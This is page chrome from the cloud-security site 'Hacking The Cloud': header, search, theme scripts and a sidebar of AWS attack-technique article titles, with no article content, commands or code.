243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#abusing-elastic-container-registry-for-lateral-movement class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> 